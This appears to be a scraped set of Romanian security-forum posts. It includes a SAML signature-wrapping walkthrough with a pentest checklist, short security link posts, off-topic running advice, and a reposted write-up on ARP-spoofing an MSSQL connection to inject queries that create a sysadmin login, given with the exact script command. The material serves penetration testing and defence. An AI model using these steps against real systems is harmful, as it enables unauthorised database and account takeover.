Somewhere in the middle of these two components, the rules about what we have to sign are often lost. As a result, we can often have our signature refer to a different part of the document, and still appear valid to the recipient. By copying the signed parts of the document, and ensuring the signatures point to the copies, we can separate the part of the document that the XML Signature library checks from the part of the document that the SAML library consumes. Automated XSW SAML Raider will automate the most common attacks of this form for you: Try selecting each of those options from the drop-down, clicking “Apply XSW” and sending the request on. If this doesn’t cause an error, try doing it again and changing the username or other user identifier in each place it appears in the SAML XML. Limitations of SAML Raider While SAML Raider will test the common cases, there are a few attacks that require a deeper understanding: Producing a response that will validate against an XML schema (requires hiding the shadow copy inside an element that may contain xs:any). Bypassing validation when both the Response, and Assertions within it are signed and checked. Bypassing XML signatures in non-SAML contexts, for example SOAP endpoints using WS-Security extensions. Manual XSW If SAML Raider’s out-of-the-box options don’t work, you may want to try a manual approach: Decode the Base64-encoded content to access the SAML Response XML. Check that the signature’s <Reference> tag contains the ID of a signed element. Copy the signed content somewhere else in the document (often the end of the <Response> is OK, if XML Schema validation is in play try finding somewhere to copy it that doesn’t break the schema.) Remove the XML signature from the copy, leaving it in the original. This is necessary as the XML encapsulated signature standard removes the signature that is being validated. In the original document, this was the contained signature, so we have to cut it out from the copy. Change the ID of the original signed element to something different (e.g. change a letter). Change the content of the original assertion. Re-encode as Base64, put in to the request and forward on. If the signature validation points to the copy, it will ignore your changes. With practice, you can complete this process pretty quickly if strict time limits on requests are in play. SAML Pentest Checklist Does the SAML response pass through the web browser? Is it signed? If not, try changing the content. Is it accepted if we remove the signatures? Is it accepted if we re-sign it with a different certificate? Do any of the eight transforms baked in to SAML Raider produce a result that is accepted? If you change such a response, is the modified response accepted? Might one of SAML Raider’s limitations noted above apply? If so, you may need to try a manual approach. 1 https://github.com/SAMLRaider/SAMLRaider

Prima data încearcă sa faci toată distanta (poate chiar puțin mai mult, pana în 2.5), fără sa ții cont de timp, la un ritm ok pentru tine, dar puțin peste zona de confort. Ulterior mărește ritmul încet pana ajungi sa faci distanta în 8 minute sau mai puțin, sa știi sigur ca nu o sa fie probleme. De asemenea, cum ți s-a mai zis, fa încălzire și nu de gura lumii, ci ca asa trebuie pentru a evita accidentările. Cumpăra echipament corespunzător. Adidași de alergare asfalt nu trail sau air max sau de baschet. Trebuie sa fie ușori, cu talpa moale ca sa atenueze impactul asupra gleznei/genunchiului. Tricou tehnic, strâns pe tine. Pantaloni scurți, care sa nu te incomodeze când ridici genunchii. Echipamentul nu trebuie sa fie de profesionist, nu ai nevoie momentan, poți sa cumperi toate astea cu puțin peste 100 RON de la Decathlon. Nu alerga în fiecare zi, muschiul trebuie sa se odihnească. Lasă măcar 1 zi intre, sau chiar 2. Pe banda e mai simplu, dacă nu alergi afara când începi sa faci asta o sa vezi ca e mai incomod, ai vânt, aer mai rece. Aleargă afara pe cat posibil. Pentru distanta scurta și de mica durata e ok pe asfalt, dar pentru distante lungi și dese evita-l. In principiu oricine se poate apuca de alergat și sa atingă o oarece performanta, dar cu antrenament. Nu mănânca cu o ora doua înainte sa alergi. Încearcă sa ții și oarece dieta. Multa bafta.

Un articol de calitate, dupa cum ne-au obisnuit baietii de la PortSwigger. Recomand si restul articolelor de pe blogul lor. Backslash Powered Scanning: Hunting Unknown Vulnerability Classes James Kettle - james.kettle@portswigger.net - @albinowax Abstract Existing web scanners search for server-side injection vulnerabilities by throwing a canned list of technology-specific payloads at a target and looking for signatures - almost like an anti-virus. In this document, I'll share the conception and development of an alternative approach, capable of finding and confirming both known and unknown classes of injection vulnerabilities. Evolved from classic manual techniques, this approach reaps many of the benefits of manual testing including casual WAF evasion, a tiny network footprint, and flexibility in the face of input filtering. True to its heritage, this approach also manages to harness some pitfalls that will be all too familiar to experienced manual testers. I'll share some of the more entertaining findings and lessons learned from unleashing this prototype on a few thousand sites, and release a purpose-built stealthy-scanning toolkit. Finally, I'll show how it can be taken far beyond injection hunting, leaving you with numerous leads for future research. Outline Introduction Three Failures of Scanners Rare Technology Variants and Filters Buried Vulnerabilities Alternative Approach to Scanning Suspicious Input Transformations Probe-pair Fuzzing Core Logic Types of Mutation Recognising Response Differences Hunting Findings Scanning Distributed Systems Sample Results Lessons Learned Further Research Enumerable Input Detection Cold-start Bruteforce Attacks Conclusion Articol complet: http://blog.portswigger.net/2016/11/backslash-powered-scanning-hunting.html

Se pare ca începând cu AngularJS 1.6 sandbox-ul pentru expresii va fi scos în detrimentul performantei și pentru security awarness pentru dezvoltatori. Articol: http://angularjs.blogspot.ro/2016/09/angular-16-expression-sandbox-removal.html?m=1 Commit: https://github.com/angular/angular.js/commit/10597de3155b031a2d918f0acd5ec5b9236b1372

"Sec-1 Ltd partnered with AppCheck.com to undertake a research project investigating the security challenges posed by next generation web applications. The project included an investigation of Cross-Origin communication mechanisms provided via HTML5 including postMessage and CORS." Link: https://www.exploit-db.com/docs/40287.pdf

Daca e PHP si expect enabled poti incerca command execution, dar ma indoiesc, implicit e disabled. Daca nu reusesti sa citesti fisiere (arata-mi ce ai incercat, poate ai ratat ceva), poti incerca sa faci map la reteaua interna si poate dai de ceva interesant, dar nu cred ca te intereseaza asta: mult de munca, guessing, bruteforce...

Sunt cazuri in care nu poti verifica totul manual: nu ai timp suficient, aplicatia e prea mare, nu iti trebuie decat un singur punct de intrare, etc. Cele mai bune rezultate pe web le-am avut cu Burp Suite Pro si Netsparker. Mai exista si alternative, destul de multe, poti consulta o lista aici: https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools

HTML - limbaj de mark-up, nu are absoluti nicio treaba. JavaScript/Flash - client side, deci nu au nicio treaba (doar in cazul care avem node.js sau alta solutie server side pentru JavaScript) PHP - probabil nu exista interpretor PHP daca e storage Cum am zis si mai sus, daca e storage probabil nu exista interpretor PHP. @fLr^: Nu am lucrat cu Azure Blob, dar banuiesc ca fiind solutie de storage nu ai la dispozitie niciun interpretor. In functie de configuratie, e posibil sa iti faca force-download sau sa iti afiseze continutul.

By Rick Osgood | February 5, 2016 During a recent penetration test, I was performing some packet captures and noticed some unencrypted Microsoft SQL Server (MSSQL) traffic. The syntax was unmistakable. At first I thought this might be a way to capture some authentication credentials. However, MSSQL encrypts login traffic which meant I would have to crack the encryption to get credentials. If the installation uses a self-signed certificate, that is fairly easy to crack. Unfortunately, for this particular client engagement, cracking SQL Server encryption was beyond the scope of the project. So, I had to set my curiosity aside for the time being and complete the penetration test for the client. However, I could not help thinking I was on to something. Was there a way to attack a SQL Server box without any credentials? I decided to take my hypothesis to the lab and try some experiments. What I found was that with a little packet hacking, I could take control of a Microsoft SQL Server box without having any stolen credentials using a Man in the Middle style attack. Man in the Middle Back in my lab, I began to research this more. For my investigation, I was running MSSQL Server 2014 Express on Windows Server 2012 R2. The client machine was a Windows 10 system running MSSQL Management Studio 2014. My attack machine was a relatively new installation of Kali 2.0 Linux. All of these systems are on the same subnet, simulating an attacker on the internal network. This was nearly identical to the setup I had at the client site. This type of attack is known as a man-in-the-middle (MITM) attack. Anitian does these a lot, as we have a lot of expertise on hacking infrastructure devices. The typical setup is to perform some kind of redirect, like an ARP cache poison (which is still possible in some environments), which forces traffic between two systems to be redirected through the attacker’s computer. This allows the attacker to not only see all of the data between the victims, but potentially also to manipulate that traffic. This was exactly what I wanted to do. Understanding the Data The first thing I needed to do was to look at the MSSQL query traffic. In order to make this test more interesting, I used the “SA” account to login. The SA account is the system admin account in SQL Server and can do anything. If my experiments were successful, I could do a lot of fun things with the SA account’s privileges. Once logged in, I launched Wireshark 2.0 on the SQL Server box. It started capturing traffic on the primary interface. I configured Wireshark to use a display filter “tds.query”. This hides all the other traffic and displays just the TDS query packets. (Incidentally, I noticed that the “tds.query” filter object is not available on older versions of Wireshark.) With a traffic capture underway, I switched back to the workstation and executed a query against the sample database I built for this test. The database is called testdb and includes one table called Products. The Products table has two columns named ProductID and ProductName. There is no actual data in the table, but for this test that is unnecessary. This query is designed to pull all information from the database table. The query was executed successfully and the empty table was returned to me. You can see the empty columns listed toward the bottom-right of the screenshot. Switching back to Wireshark, I stopped the capture and looked at the captured data. I spotted one TDS query packet. Clicking on that packet showed me all of the data contained within. MSSQL Server 2014 Express did not have encryption enabled by default, so this data was easy to access. Looking at the decoded data at the bottom of the center pane, it is easy to identify the query. It even includes the carriage return and newline characters. Something interesting to notice is that in between each character of the query is a null byte (hexadecimal 0x00) which is normal for Unicode. This is only noticeable when looking at the raw data in the bottom pane. Wireshark displays these bytes as period characters but really, they are null. This meant that I couldn’t just look for a simple string like “select”. I’d have to take those Unicode null bytes into consideration when searching for the data later, and for when I ultimately try to replace it with my own data. Fun with Ettercap Filters Now that I knew what the data looked like, I could try to find a way to manipulate it. I decided to use Ettercap. Ettercap is a tool specifically designed to perform MITM attacks. It also has a nifty built-in feature called Ettercap filters. A filter would allow me to search the packets for specific data and then manipulate that data. You just write the filter and load it into Ettercap. Then Ettercap automatically replaces data every time it finds a match. The functionality is somewhat limited, but it should work for proof of concept. The filters are written in a simple scripting language. The important functions I intended to use were the search and replace functions. The search function will search for specific data within the packets. The replace function will actually search for data and then replace it with other data. That was the key to this project. Since the TDS query data includes those null bytes, some of the characters are not printable. This meant that I could not merely search for a simple string and replace it with another string. I needed a way to search for a non-printable null byte. Since I cannot type null on a keyboard, I needed another way. Fortunately, Ettercap filters support hexadecimal using “\x” to escape. For example, to search for the letter ‘s’, I can tell Ettercap to search for “\x73”. The null bytes are easily searchable now by searching for “\x00”. Kali includes a program called hexdump that can be used to convert strings to hexadecimal. I used this to convert the string “select” to hex. Once I had the data I needed, I wrote the first test filter and called it “mssql.filter”. The first line ensures that the filter will only run on TCP traffic with a destination port of 1433. If this matches, the filter will output a debugging message to the console to let me know that it found SQL traffic. This is just for my own peace of mind so I know it’s at least partially working. The next “if” statement searches for a string of hex data. This data translates to “select” with null bytes in between each character. If the filter locates that string, it will output another debugging message to the console. Finally, the magic happens. The replace command swaps that exact string with a different string of “ssssss” including the required null bytes. This was just a test to see if the script would run properly. It is important to note that when you replace data in a TCP packet, you must replace it with the exact same number of bytes. If the size of the packet changes, the TCP connection will break. Once the filter is written, it must be compiled. This is easily accomplished with the etterfilter command. There were no errors, so the filter was now ready for testing. I fired up the Ettercap graphical interface and launched an ARP spoofing attack against the MSSQL server and the client workstation with sniffing enabled. I fired up Wireshark and verified that I was seeing traffic being sent between the two victims. Then in Ettercap I went to “Filters -> Load a filter” and chose my filter. I was rewarded with a “Content filters loaded” message down in the Ettercap console. Almost immediately I was receiving “SQL Traffic Discovered” messages as well. Everything was looking positive. The next step was to switch back to the workstation and try executing the query. If it goes according to plan, the “select” string should be replaced with “ssssss” and break the query. I executed the query, but this time I did not receive the empty table result like I did originally. Instead, I received an error. “Incorrect syntax near ‘ssssss’.” That’s perfect! The filter worked exactly as expected. It replaced the “select” string with “ssssss”. The MSSQL server did not know how to handle that and returned an error. That was one step in the right direction. The next step was to replace the entire query string with something that will help me as the attacker. Create the Login I decided to try to add a login to the server. This would be pretty much the best possible scenario for me as an attacker, especially since in this case the workstation victim is logging in as the SA user. In order to add a login, I would have to submit this query to the MSSQL server: CREATE LOGIN anitian WITH PASSWORD=’YouGotHacked1#’; This would add a user to the MSSQL server called “anitian” with the password “YouGotHacked1#”. After converting everything to hex, I updated the mssql.filter file to contain the new data. This filter will search for the string “select ProductID, ProductName from Products where ProductID=1;” and then replace it with the string “CREATE LOGIN anitian with PASSWORD=’YouGotHacked1#’”. I mentioned earlier that you must replace TCP data with the exact same amount of data. So how did I handle that since my new query is shorter than the original? I just added some spaces to the end of my new query with the null bytes surrounding them. This would ensure that the TCP packet stayed the same size, but the spaces wouldn’t interfere with my query being executed successfully. I compiled the filter just like before and then loaded it up into Ettercap. Then I submitted the query from the workstation. Notice the difference between this response and the response before I used the Ettercap filter? Originally, the query returned an empty table. This time, no table was returned. Instead, the server returned a message, “Command(s) completed successfully.” If a database administrator saw this, they would likely dismiss it as some strange error. Unfortunately, they would be too late. I just added my own account to the database system. Now, the real hack was about to take place. From the Windows 10 workstation I logged out of the SA account and then attempted to log in using my (hopefully) newly created anitian account. SUCCESS! I was now logged in with my own account. Unfortunately this account did not have a lot of rights, so I could not do much. However, that could be solved. The next step would be to prepare another Ettercap filter to adjust my account’s rights and then perform a second SQL query injection attack. At this point, I could have easily done all this, but it is rather tedious to do all the hex conversions by hand, and then add all of those null bytes and such. Who wants to go through all of that effort? This was a good enough proof of concept right? No way! I was not about to give up that quickly. Besides, why do all that tedious work, when I can automate the entire process using a script! Automating the Hack The SQLinject.sh shell script can be downloaded here: http://pastebin.com/Nge9rx7g This script automates the entire process from converting the SQL queries to hex all the way to performing the ARP spoofing and loading the Ettercap filter. It makes the process extremely easy. In order to use the script you need four pieces of information. The IP address of the MSSQL server The IP address of the MSSQL client The original query you want to replace The new query you want to inject In this case, I already knew everything except for the SQL query I wanted to inject. I knew I wanted to give the anitian user sysadmin privileges. After a quick lesson in SQL commands, I was able to design with the correct query: ALTER SERVER ROLE sysadmin ADD MEMBER anitian; This would add my new anitian user to the sysadmin role on the server, giving me access to pretty much anything I want. Now that I had all four key pieces of information, I ran the script like this: ./SQLInject.sh –o “select ProductID, ProductName from Products where ProductID=1;” –i “ALTER SERVER ROLE sysadmin ADD MEMBER anitian;” –s 192.168.1.114 –c 192.168.1.100 –f mssql.filter Using the script, I do not have to worry about those pesky hex conversions or null bytes. The script handles it all for me. It will perform the conversions and then output an Ettercap filter to mssql.filter (The filename is based on the –f flag). From there, it runs etterfilter and compiles the filter into mssql.filter.ef. Finally, the script even loads up the command line interface to Ettercap, performs the ARP spoofing attack against the server and workstation and loads the filter! It will even compare the length of the old query and the new query and warn you if the new query is too long. And if the queries are not an identical length, it will pad the new one with spaces to make them identical in length! One single command does everything for me. I executed the script and then switched over to the workstation. I then ran the familiar select query and noticed that I once again received the “Command(s) completed successfully” message. This was a good sign for the attack. I logged out of the SA account and logged back in as anitian. Ta da! You can see in the screenshot that the anitian account is now a sysadmin user. With this level of access I can do whatever I want with the system. It gives me a great pivot point to start attacking other systems on the network. Of course, that assumes this database does not already contain what I am looking for like payment card numbers or personally identifiable information. The biggest downfall to this script is that it requires you to know the original SQL query before it actually happens. Luckily, SQL servers often have batch jobs or queries that are executed regularly or on a set schedule. Watching a Wireshark capture over a period of time should result in at least one query you can target. Of course I could always turn this into a more full-fledged program that performs the MITM attack on its own and then actually proxies the traffic, searching for TDS query packets by type and then automatically replacing the data without the need to know the original query beforehand…but that’s a project for another day. Defending Against SQL MITM Attacks Man in the middle attacks such as this can be devastating. As you can see, I was able to gain complete access to a critical system. A focused hacker may not follow some of the scientific processes I did. Moreover, they could automate this and do it repetitively for hours or days, waiting for just the right conditions. The simplest way to prevent this attack is to require encryption on all database connections. However, merely enabling encryption might not be sufficient. Clients can negotiate the connection with no encryption if it is not required. Also ensure that you use a valid, trusted certificate. An attacker could easily spoof a self-signed certificate. Another defense is to ensure remote queries never use accounts with elevated privileges, such as the SA account. All database queries, especially the programmatic ones, should use an account with the absolute least amount of access they need to do the job. This ensures that if the attacker is able to take over a connection, they cannot use that connection to forge accounts, like I did in this test. Lastly, ensure your infrastructure is patched regularly. Also, segment and isolate database systems from the corporate network. These are best practices that also make MITM type attacks very difficult (if not impossible) to execute. Sursa: https://blog.anitian.com/hacking-microsoft-sql-server-without-a-password/

Functia de cautare are un impact destul de mare asupra performantei si se pot compune cautari ce pun un load destul de mare pe baza de date. Daca fiecare face asta in repetate randuri poate ajunge la DoS. De asta te limiteaza.